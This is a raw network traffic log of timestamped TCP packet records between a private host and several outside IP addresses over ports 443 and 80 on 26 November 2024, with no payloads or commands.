Nov 26, 2024 08:03:39.562567949 CET	443	49750	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:39.562628031 CET	49750	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:39.564928055 CET	443	49751	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:39.564985037 CET	49751	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:40.062102079 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.065766096 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.065968990 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:40.065990925 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.077359915 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.077456951 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:40.077466965 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.087013960 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.087076902 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:40.087089062 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.099651098 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.099715948 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:40.099723101 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.113459110 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.113517046 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:40.113523960 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.126987934 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.127103090 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:40.127110958 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.186095953 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.186187983 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.186199903 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:40.186208963 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.186279058 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:40.194520950 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.242347002 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:40.262634039 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.266180992 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.266292095 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:40.266304970 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.275577068 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.275634050 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:40.275646925 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.284003973 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.284056902 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:40.284070969 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.295856953 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.295916080 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:40.295928955 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.310872078 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.310935974 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:40.310942888 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.315140009 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:40.315423012 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:40.324475050 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.324527979 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:40.324542046 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.336363077 CET	443	49758	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:40.336477041 CET	443	49758	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:40.336565018 CET	49758	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:40.336565018 CET	49758	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:40.336668015 CET	443	49759	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:40.336729050 CET	49759	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:40.336771011 CET	443	49757	162.159.61.3	192.168.2.8
Nov 26, 2024 08:03:40.336846113 CET	49757	443	192.168.2.8	162.159.61.3
Nov 26, 2024 08:03:40.336885929 CET	443	49757	162.159.61.3	192.168.2.8
Nov 26, 2024 08:03:40.336927891 CET	49757	443	192.168.2.8	162.159.61.3
Nov 26, 2024 08:03:40.338701010 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.338769913 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:40.338776112 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.339910030 CET	49783	443	192.168.2.8	162.159.61.3
Nov 26, 2024 08:03:40.339947939 CET	443	49783	162.159.61.3	192.168.2.8
Nov 26, 2024 08:03:40.340024948 CET	49783	443	192.168.2.8	162.159.61.3
Nov 26, 2024 08:03:40.340318918 CET	49784	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:40.340364933 CET	443	49784	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:40.340418100 CET	49784	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:40.340524912 CET	49783	443	192.168.2.8	162.159.61.3
Nov 26, 2024 08:03:40.340533972 CET	443	49783	162.159.61.3	192.168.2.8
Nov 26, 2024 08:03:40.340640068 CET	49784	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:40.340657949 CET	443	49784	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:40.350367069 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.352039099 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:40.352051973 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.364423037 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.364568949 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:40.364576101 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.376193047 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.376416922 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:40.376422882 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.387999058 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.388076067 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:40.388082027 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.399766922 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.399888992 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:40.399894953 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.411655903 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.412008047 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:40.412024975 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.436772108 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.437822104 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:40.437832117 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.440696955 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.440723896 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.440752029 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:40.440759897 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.440800905 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:40.447871923 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.463702917 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.463793993 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:40.463804007 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.470135927 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.470191002 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:40.470196009 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.473726988 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.473776102 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:40.473782063 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.478661060 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.478718042 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:40.478724003 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.486167908 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.486268997 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.486371994 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:40.486378908 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.486720085 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:40.493791103 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.501729012 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.501866102 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:40.501873016 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.509038925 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.509099960 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:40.509108067 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.516460896 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.516505003 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:40.516519070 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.523817062 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.523878098 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:40.523880959 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.523890972 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.523931980 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:40.531332970 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.532341003 CET	49785	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:40.532434940 CET	443	49785	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:40.532522917 CET	49785	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:40.532757044 CET	49785	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:40.532799959 CET	443	49785	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:40.539108038 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.539174080 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:40.539180994 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.546902895 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.546945095 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.546963930 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:40.546969891 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.547162056 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:40.554287910 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.562189102 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.562221050 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.562282085 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:40.562288046 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.562345982 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:40.569674015 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.576575041 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.576639891 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:40.576646090 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.587521076 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.587594986 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:40.587601900 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.599455118 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.599517107 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:40.599524021 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.601192951 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.601222992 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.601252079 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:40.601257086 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.601303101 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:40.721203089 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.723457098 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.723491907 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.723539114 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:40.723551035 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.723764896 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:40.843353987 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.843404055 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.843455076 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:40.843466043 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.885997057 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:40.944721937 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:40.961114883 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.961286068 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.961364031 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.961401939 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:40.961412907 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.961684942 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.961733103 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:40.961836100 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:40.961848974 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:40.964297056 CET	443	49756	40.126.53.17	192.168.2.8
Nov 26, 2024 08:03:40.965647936 CET	49756	443	192.168.2.8	40.126.53.17
Nov 26, 2024 08:03:40.965658903 CET	443	49756	40.126.53.17	192.168.2.8
Nov 26, 2024 08:03:40.966849089 CET	49756	443	192.168.2.8	40.126.53.17
Nov 26, 2024 08:03:40.966861010 CET	443	49756	40.126.53.17	192.168.2.8
Nov 26, 2024 08:03:40.966886044 CET	49756	443	192.168.2.8	40.126.53.17
Nov 26, 2024 08:03:40.966902971 CET	443	49756	40.126.53.17	192.168.2.8
Nov 26, 2024 08:03:40.969559908 CET	443	49769	162.159.61.3	192.168.2.8
Nov 26, 2024 08:03:40.969795942 CET	49769	443	192.168.2.8	162.159.61.3
Nov 26, 2024 08:03:40.969804049 CET	443	49769	162.159.61.3	192.168.2.8
Nov 26, 2024 08:03:40.970208883 CET	443	49770	162.159.61.3	192.168.2.8
Nov 26, 2024 08:03:40.970482111 CET	49770	443	192.168.2.8	162.159.61.3
Nov 26, 2024 08:03:40.970490932 CET	443	49770	162.159.61.3	192.168.2.8
Nov 26, 2024 08:03:40.970557928 CET	443	49764	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:40.970953941 CET	49764	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:40.970968008 CET	443	49764	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:40.971324921 CET	443	49769	162.159.61.3	192.168.2.8
Nov 26, 2024 08:03:40.971366882 CET	443	49761	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:40.971374035 CET	49769	443	192.168.2.8	162.159.61.3
Nov 26, 2024 08:03:40.971963882 CET	443	49770	162.159.61.3	192.168.2.8
Nov 26, 2024 08:03:40.972017050 CET	49770	443	192.168.2.8	162.159.61.3
Nov 26, 2024 08:03:40.972399950 CET	443	49764	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:40.972454071 CET	49764	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:40.972666025 CET	49761	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:40.972683907 CET	443	49761	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:40.973653078 CET	49769	443	192.168.2.8	162.159.61.3
Nov 26, 2024 08:03:40.973752022 CET	49770	443	192.168.2.8	162.159.61.3
Nov 26, 2024 08:03:40.973793030 CET	443	49769	162.159.61.3	192.168.2.8
Nov 26, 2024 08:03:40.973912001 CET	443	49770	162.159.61.3	192.168.2.8
Nov 26, 2024 08:03:40.974054098 CET	443	49765	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:40.974148035 CET	443	49761	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:40.974210978 CET	49761	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:40.974620104 CET	443	49762	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:40.976263046 CET	49764	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:40.976377010 CET	443	49764	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:40.977174997 CET	49765	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:40.977195024 CET	443	49765	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:40.977313042 CET	49769	443	192.168.2.8	162.159.61.3
Nov 26, 2024 08:03:40.977322102 CET	443	49769	162.159.61.3	192.168.2.8
Nov 26, 2024 08:03:40.977866888 CET	49761	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:40.977948904 CET	443	49761	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:40.978193045 CET	49762	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:40.978218079 CET	443	49762	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:40.978223085 CET	49770	443	192.168.2.8	162.159.61.3
Nov 26, 2024 08:03:40.978230000 CET	443	49770	162.159.61.3	192.168.2.8
Nov 26, 2024 08:03:40.978276014 CET	443	49765	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:40.978329897 CET	49765	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:40.978773117 CET	49764	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:40.978780985 CET	443	49764	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:40.979062080 CET	49765	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:40.979155064 CET	443	49765	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:40.979155064 CET	49761	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:40.979171991 CET	443	49761	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:40.979290962 CET	443	49762	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:40.979345083 CET	49762	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:40.979473114 CET	49765	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:40.979482889 CET	443	49765	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:40.979729891 CET	49762	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:40.979799032 CET	443	49762	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:40.981302977 CET	49762	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:40.981312990 CET	443	49762	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:41.005985022 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.021754980 CET	49761	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:41.021915913 CET	49762	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:41.021922112 CET	49765	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:41.056240082 CET	49769	443	192.168.2.8	162.159.61.3
Nov 26, 2024 08:03:41.056257010 CET	49770	443	192.168.2.8	162.159.61.3
Nov 26, 2024 08:03:41.056353092 CET	49764	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:41.342843056 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.342854023 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.342861891 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.342904091 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.342911959 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.342924118 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.342931032 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.342927933 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.343003035 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.343003035 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.343033075 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.343089104 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.351208925 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.351279020 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.351301908 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.351352930 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.359538078 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.359612942 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.359616995 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.359668970 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.381172895 CET	443	49776	18.165.220.106	192.168.2.8
Nov 26, 2024 08:03:41.381381989 CET	49776	443	192.168.2.8	18.165.220.106
Nov 26, 2024 08:03:41.381393909 CET	443	49776	18.165.220.106	192.168.2.8
Nov 26, 2024 08:03:41.382519007 CET	443	49776	18.165.220.106	192.168.2.8
Nov 26, 2024 08:03:41.382579088 CET	49776	443	192.168.2.8	18.165.220.106
Nov 26, 2024 08:03:41.384212971 CET	49776	443	192.168.2.8	18.165.220.106
Nov 26, 2024 08:03:41.384279966 CET	443	49776	18.165.220.106	192.168.2.8
Nov 26, 2024 08:03:41.404531956 CET	443	49769	162.159.61.3	192.168.2.8
Nov 26, 2024 08:03:41.404604912 CET	443	49769	162.159.61.3	192.168.2.8
Nov 26, 2024 08:03:41.404653072 CET	49769	443	192.168.2.8	162.159.61.3
Nov 26, 2024 08:03:41.405038118 CET	49769	443	192.168.2.8	162.159.61.3
Nov 26, 2024 08:03:41.405051947 CET	443	49769	162.159.61.3	192.168.2.8
Nov 26, 2024 08:03:41.413568020 CET	443	49770	162.159.61.3	192.168.2.8
Nov 26, 2024 08:03:41.413640022 CET	443	49770	162.159.61.3	192.168.2.8
Nov 26, 2024 08:03:41.413716078 CET	49770	443	192.168.2.8	162.159.61.3
Nov 26, 2024 08:03:41.414644957 CET	443	49764	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:41.414704084 CET	443	49764	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:41.414748907 CET	49764	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:41.415133953 CET	443	49761	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:41.415186882 CET	443	49761	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:41.415347099 CET	49764	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:41.415355921 CET	49761	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:41.415369034 CET	443	49764	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:41.415648937 CET	49770	443	192.168.2.8	162.159.61.3
Nov 26, 2024 08:03:41.415657043 CET	443	49770	162.159.61.3	192.168.2.8
Nov 26, 2024 08:03:41.415949106 CET	49761	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:41.415965080 CET	443	49761	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:41.417963982 CET	443	49765	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:41.418025970 CET	443	49765	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:41.418088913 CET	49765	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:41.418277025 CET	49765	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:41.418297052 CET	443	49765	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:41.419370890 CET	443	49762	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:41.419434071 CET	443	49762	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:41.419478893 CET	49762	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:41.419743061 CET	49762	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:41.419764996 CET	443	49762	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:41.430713892 CET	49776	443	192.168.2.8	18.165.220.106
Nov 26, 2024 08:03:41.430720091 CET	443	49776	18.165.220.106	192.168.2.8
Nov 26, 2024 08:03:41.472461939 CET	49776	443	192.168.2.8	18.165.220.106
Nov 26, 2024 08:03:41.548383951 CET	443	49783	162.159.61.3	192.168.2.8
Nov 26, 2024 08:03:41.549060106 CET	49783	443	192.168.2.8	162.159.61.3
Nov 26, 2024 08:03:41.549072981 CET	443	49783	162.159.61.3	192.168.2.8
Nov 26, 2024 08:03:41.550154924 CET	443	49783	162.159.61.3	192.168.2.8
Nov 26, 2024 08:03:41.550215960 CET	49783	443	192.168.2.8	162.159.61.3
Nov 26, 2024 08:03:41.550617933 CET	49783	443	192.168.2.8	162.159.61.3
Nov 26, 2024 08:03:41.550668001 CET	443	49783	162.159.61.3	192.168.2.8
Nov 26, 2024 08:03:41.550729990 CET	49783	443	192.168.2.8	162.159.61.3
Nov 26, 2024 08:03:41.550735950 CET	443	49783	162.159.61.3	192.168.2.8
Nov 26, 2024 08:03:41.553106070 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.553158998 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.553195953 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.553260088 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.557121038 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.557240009 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.557301998 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.565110922 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.565169096 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.565207958 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.565272093 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.573100090 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.573172092 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.573189020 CET	80	49747	185.215.113.206	192.168.2.8
